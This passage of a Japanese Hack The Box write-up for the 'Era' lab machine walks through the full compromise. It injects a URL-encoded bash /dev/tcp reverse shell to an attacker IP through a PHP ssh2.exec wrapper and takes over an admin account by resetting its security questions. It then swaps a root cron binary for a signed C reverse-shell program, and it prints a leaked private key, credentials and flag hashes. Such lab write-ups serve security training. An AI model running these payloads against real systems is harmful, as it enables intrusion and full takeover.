echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
// Allow simple download
} else {
echo deliverTop("Era - Download");
echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');
}
}
?>
(2) download.phpの内容を確認すると、以下の3つのリクエストデータを送るとformatパラメータに記載された「php://filter/」などを実行できることが分かる。
- GETメソッドのshowパラメータが「true」になっている。
- $_SESSION[‘erauser’の値が「1」になっている。コメントの内容を確認すると管理者アカウント(admin_ef01cab31aaユーザー)のことであると推測できる。
- GETメソッドのformatパラメータに「://」が含まれている。
※Kali Linux上で以下のコマンドを実行する。
$ cat download.php
<?php
ーーー(省略)ーーー
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
ーーー(省略)ーーーadmin_ef01cab31aaユーザーでWebサイトへのログイン試行
(1) ブラウザを用いて「http://file.era.htb/login.php」にアクセスして、「ユーザー名:yuri」と「パスワード:mustang」を入力してログインする。
(2) 「Update Security Questions」をクリックして、admin_ef01cab31aaユーザーがログインする際に設定している秘密の質問を任意の値に変更する。
(3) 「Sign Out」をクリックする。
(4) 「login using security questions」をクリックする。
(5) 手順(2)で設定したadmin_ef01cab31aaユーザーの秘密の質問を入力して、「Verify and Log In」をクリックする。
(6) admin_ef01cab31aaユーザーでログインに成功し、2つのファイルがアップロードされていることが分かる。
PHP拡張モジュール(ssh2.so)を用いたリバースシェル試行
(1) Kali Linux側で4444/tcpで待ち受ける。
$ ip a
→VPN用のインターフェースのIPアドレスが「10.10.14.3」
$ nc -lvnp 4444
listening on [any] 4444 ...
(2) Burp Suiteの[Proxy] > [Intercept]画面にて、「Intercept on」にする。
(3) admin_ef01cab31aaユーザーでログイン後のWebサイトにてファイルをクリックする。
(4) Burp Suiteの[Proxy] > [Intercept]画面にて、遮断されたリクエストデータの内容が表示される。
(5) Burp Suiteの[Decoder]画面にて、リバースシェルを実行するコマンドをURLエンコードする。
【URLエンコード前】
bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"
【URLエンコード後】
%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%33%2f%34%34%34%34%20%30%3e%26%31%22%0a

(6) Burp Suiteの[Proxy] > [Intercept]画面にて、送信されたリクエストデータを確認する。
【変更前のリクエストデータ】
GET /download.php?id=54 HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://file.era.htb/manage.php
Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
(7) リクエストデータの1行目にshow=trueパラメータ、formatパラメータの値を追記して、「Intercept on」をクリックする。
【変更後のリクエストデータ】
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@localhost:22/%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%33%2f%34%34%34%34%20%30%3e%26%31%22%0a HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://file.era.htb/manage.php
Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
(8) レスポンスデータの内容を確認する。
【レスポンスデータ】
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 03 Jan 2026 04:17:45 GMT
Content-Type: application/octet-stream
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 143
Opening: ssh2.exec://eric:america@localhost:22/bash -c "bash -i >& /dev/tcp/10.10.14.3/4444 0>&1"
files/site-backup-30-08-24.zip
Resource id #3
(9) コマンドが実行され「nc -lvnp 4444」で待ち受けていたメッセージが表示される。しかし、リバースシェルは正常に実行されていないため、任意のコマンドを実行できない。
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.79] 56064
bash: line 1: 1_files/site-backup-30-08-24.zip: ambiguous redirectPHP拡張モジュール(ssh2.so)を用いたリバースシェル実行
(1) Kali Linux側で4444/tcpで待ち受ける。
$ ip a
→VPN用のインターフェースのIPアドレスが「10.10.14.3」
$ nc -lvnp 4444
listening on [any] 4444 ...
(2) Burp Suiteの[Proxy] > [HTTP history]画面にて、リバースシェル実行を試行したリクエストデータを右クリックで選択し、「Send to Repeater」をクリックする。
(3) Burp Suiteの[Repeater]画面にて、リクエストデータを確認する。
【変更前のリクエストデータ】
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@localhost:22/%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%33%2f%34%34%34%34%20%30%3e%26%31%22%0a HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://file.era.htb/manage.php
Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
(4) 1行目の後半の改行コード(%0a)をURLの区切り文字(%23)に変更して、「Send」をクリックする。
【変更後のリクエストデータ】
GET /download.php?id=54&show=true&format=ssh2.exec://eric:america@localhost:22/%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%
26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%33%2f%34%34%34%34%20%30%3e%26%31%22%23 HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://file.era.htb/manage.php
Cookie: PHPSESSID=i76i60bku90cf8sel2gdi9eroh
Upgrade-Insecure-Requests: 1
Priority: u=0, i
(5) 「nc -lnvp 4444」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.79] 36140
bash: cannot set terminal process group (84940): Inappropriate ioctl for device
bash: no job control in this shell
eric@era:~$
(6) 現在ログインしているユーザー情報を確認すると、ericユーザーであることが分かる。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
$ whoami
eric
(7) 完全なシェルを奪取する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
$ export TERM=xterm
(8) 一般ユーザー用のフラグファイルの内容を確認する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cat /home/eric/user.txt
708af7ca4d690cb0aae157b4a960ac97特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ sudo -l
→パスワード(america)を入力する。
[sudo] password for eric:
Sorry, user eric may not run sudo on era.
(2) SUIDファイルを検索する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/libexec/polkit-agent-helper-1
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/pkexec
/usr/lib/snapd/snap-confine
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(3) .bash_historyファイルを確認すると、何も出力されない。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cat /home/eric/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
21 open
22 open
80 open
46424 open
(5) OSの情報を確認すると、「Ubuntu 22.04.5 LTS」であることが分かる。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ uname -a
Linux era 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 22.04.5 LTS
Release: 22.04
Codename: jammy
(6) ホームディレクトリとログインシェルが設定されているユーザーを確認する。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ ls -l /home/
total 8
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 eric
drwxr-x--- 2 yuri yuri 4096 Jul 22 08:41 yuri
$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh特権昇格のための調査(pspy64s)
(1) バックアップ処理時のコマンドを確認するために、「https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s」を使用する。まずはKali Linuxにpspy64sをダウンロードする。
※kali Linux上で以下のコマンドを実行する。
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
(2) Kali Linux上でHTTP(8081/tcp)サービスを起動する。
※kali Linux上で以下のコマンドを実行する。
$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
(3) 攻撃対象のマシン(Era)からKali Linux上のpspy64sをダウンロードする。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cd /tmp
$ wget 10.10.14.3:8081/pspy64s
(4) pspy64sに実行権限を付与して実行する。UID=0(root権限で実行)のプロセスを確認すると、cronで/root/配下のスクリプト(initiate_monitoring.sh等)を1分に1回実行していることが分かる。また、/opt/AV/periodic-checks/配下にログファイル(status.log)やスクリプトのコピーファイル(monitor)が保存されていることや/opt/AV/periodic-checks/monitorを実行していることが分かる。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ chmod +x pspy64s
$ ./pspy64s
ーーー(省略)ーーー
2026/01/03 11:07:01 CMD: UID=0 PID=92991 | /usr/sbin/CRON -f -P
2026/01/03 11:07:01 CMD: UID=0 PID=92992 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2026/01/03 11:07:01 CMD: UID=0 PID=92993 | /bin/bash /root/initiate_monitoring.sh
2026/01/03 11:07:01 CMD: UID=0 PID=92994 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2026/01/03 11:07:01 CMD: UID=0 PID=92997 | /bin/bash /root/initiate_monitoring.sh
2026/01/03 11:07:01 CMD: UID=0 PID=93000 | /bin/bash /root/initiate_monitoring.sh
2026/01/03 11:07:01 CMD: UID=0 PID=93003 | /opt/AV/periodic-checks/monitor
2026/01/03 11:08:01 CMD: UID=0 PID=93011 | /usr/sbin/CRON -f -P
2026/01/03 11:08:01 CMD: UID=0 PID=93013 | bash -c /root/initiate_monitoring.sh
2026/01/03 11:08:01 CMD: UID=0 PID=93012 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2026/01/03 11:08:01 CMD: UID=0 PID=93014 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2026/01/03 11:08:01 CMD: UID=0 PID=93016 | openssl asn1parse -inform DER -in text_sig_section.bin
2026/01/03 11:08:01 CMD: UID=0 PID=93015 | /bin/bash /root/initiate_monitoring.sh
2026/01/03 11:08:01 CMD: UID=0 PID=93023 | /opt/AV/periodic-checks/monitor
ーーー(省略)ーーー特権昇格の試行(バイナリファイルの入れ替え)
(1) /opt/AV/periodic-checks/配下のファイルを確認すると、ログファイル(status.log)とバイナリファイル(monitor)があることが分かる。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ ls -l /opt/AV/periodic-checks/
total 24
-rwxrw---- 1 root devs 16544 Jan 3 11:01 monitor
-rw-rw---- 1 root devs 205 Jan 3 11:01 status.log
$ file /opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
$ cat /opt/AV/periodic-checks/status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
(2) C言語でリバースシェルを実行するプログラムを作成する。
※Kali Linux上で以下のコマンドを実行する。
$ vi shell.c
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1111 0>&1'");
return 0;
}
(3) Kali Linux上でHTTP(8082/tcp)サービスを起動する。
※kali Linux上で以下のコマンドを実行する。
$ python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
(4) 攻撃対象のマシン(Era)からKali Linux上のshell.cをダウンロードする。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cd /tmp
$ wget 10.10.14.3:8082/shell.c
(5) リバースシェルを実行するプログラム(shell.c)をコンパイルする。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ gcc shell.c -o shell
$ file shell
shell: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a881c12c702e58748859ab8c6db41dde292d760, for GNU/Linux 3.2.0, not stripped
$ ls -l shell
-rwxrwxr-x 1 eric eric 15960 Jan 3 11:39 shell
(6) Kali Linux側で1111/tcpで待ち受ける。
※kali Linux上で以下のコマンド実行する。
$ nc -lvnp 1111
listening on [any] 1111 ...
(7) /opt/AV/periodic-checks/monitorをリバースシェルを実行するバイナリファイルに入れ替える。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cp /tmp/shell /opt/AV/periodic-checks/monitor
(8) 1分ごとに実行されるcronが起動するのを待って、ログファイル(status.log)を確認する。しかし、実行ファイルが署名されておらず改ざんを検出したため実行しない旨のメッセージが表示される
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cat /opt/AV/periodic-checks/status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
(9) objcopyコマンド実行時に「.text_sig=text_sig_section.bin」オプションがあるため、署名された/opt/AV/periodic-checks/monitorしか実行できないようにしていることが原因である。
elf-binary-signerを用いたバイナリファイルへの署名
(1) ダウンロードしたsigning.zipの中にあるkey.pemとx509.genkeyを用いて署名付きELFバイナリを作成したと推測できる。まずはkey.pemの内容を確認する。
※kali Linux上で以下のコマンドを実行する。
$ cat key.pem
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----
(2) ダウンロードしたsigning.zipの中にあるx509.genkeyの内容を確認する。
※kali Linux上で以下のコマンドを実行する。
$ cat x509.genkey
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
(3) 署名付きELFバイナリを作成するためにelf-binary-signerというツールを実行するための準備をする。
※kali Linux上で以下のコマンドを実行する。
$ git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
$ cd linux-elf-binary-signer
$ sudo apt install libssl-dev openssl -y
$ sudo apt install binutils -y
$ make
(4) C言語でリバースシェルを実行するプログラムのバイナリファイルに署名する。
※kali Linux上で以下のコマンドを実行する。
$ ./elf-sign sha256 key.pem key.pem shell
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 31 sections detected.
--- [Library dependency]: libc.so.6
--- Section 0014 [.text] detected.
--- Length of section [.text]: 259
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
(5) Kali Linux上でHTTP(8083/tcp)サービスを起動する。
※kali Linux上で以下のコマンドを実行する。
$ python3 -m http.server 8083
Serving HTTP on 0.0.0.0 port 8083 (http://0.0.0.0:8083/) ...
(6) 攻撃対象のマシン(Era)からKali Linux上のshellをダウンロードする。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cd /tmp
$ wget 10.10.14.3:8083/shell
(7) /opt/AV/periodic-checks/monitorをリバースシェルを実行するバイナリファイルに入れ替える。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cp /tmp/shell /opt/AV/periodic-checks/monitor
(8) 1分ごとに実行されるcronが起動するのを待って、「nc -lnvp 1111」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
※kali Linux上で以下のコマンドを実行する。
$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.79] 34638
bash: cannot set terminal process group (94721): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~#
(9) 現在ログインしているユーザー情報を確認すると、rootユーザーであることを確認する。
※rootユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(10) 特権ユーザー用のフラグファイルの内容を確認する。
※rootユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cat /root/root.txt
bfec86b9e42f8b1e0298c4339c604e3d【別解】既存の署名バイナリファイルを用いた署名
※既に/opt/AV/periodic-checks/monitorを入れ替えている場合は攻撃対象マシン(Era)をリセットして本作業を実施してください。
(1) pspy64sで確認したcronで定期実行されているobjcopyコマンドを参考にして、C言語でリバースシェルを実行するプログラムのバイナリファイルに署名する。
※rootユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
$ objcopy --add-section .text_sig=text_sig /tmp/shell
(2) /opt/AV/periodic-checks/monitorをリバースシェルを実行するバイナリファイルに入れ替える。
※ericユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cp /tmp/shell /opt/AV/periodic-checks/monitor
(3) 1分ごとに実行されるcronが起動するのを待って、「nc -lnvp 1111」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。
※kali Linux上で以下のコマンドを実行する。
$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.79] 36032
bash: cannot set terminal process group (4777): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~#
(4) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
※rootユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(5) 特権ユーザー用のフラグファイルの内容を確認する。
※rootユーザーでログインした攻撃対象のマシン(Era)上で以下のコマンドを実行する。
$ cat /root/root.txt
bfec86b9e42f8b1e0298c4339c604e3d[補足] Guided ModeのQA
・Task 1
問題(英語訳):
問題(日本語訳):
答え:
・Task 2
問題(英語訳):
問題(日本語訳):
答え:
・Task 3
問題(英語訳):
問題(日本語訳):
答え:
・Task 4
問題(英語訳):
問題(日本語訳):
答え:
・Task 5
問題(英語訳):
問題(日本語訳):
答え:
・Task 6
問題(英語訳):
問題(日本語訳):
答え:
・Submit User Flag
問題(英語訳):
問題(日本語訳):
答え:
・Task 8
問題(英語訳):
問題(日本語訳):
答え:
・Task 9
問題(英語訳):
問題(日本語訳):
答え:
・Submit Root Flag
問題(英語訳):
問題(日本語訳):
答え:
※「C:\Users\Administrator\Desktop\root.txt」の内容。
関連記事(Hack The Box)
。

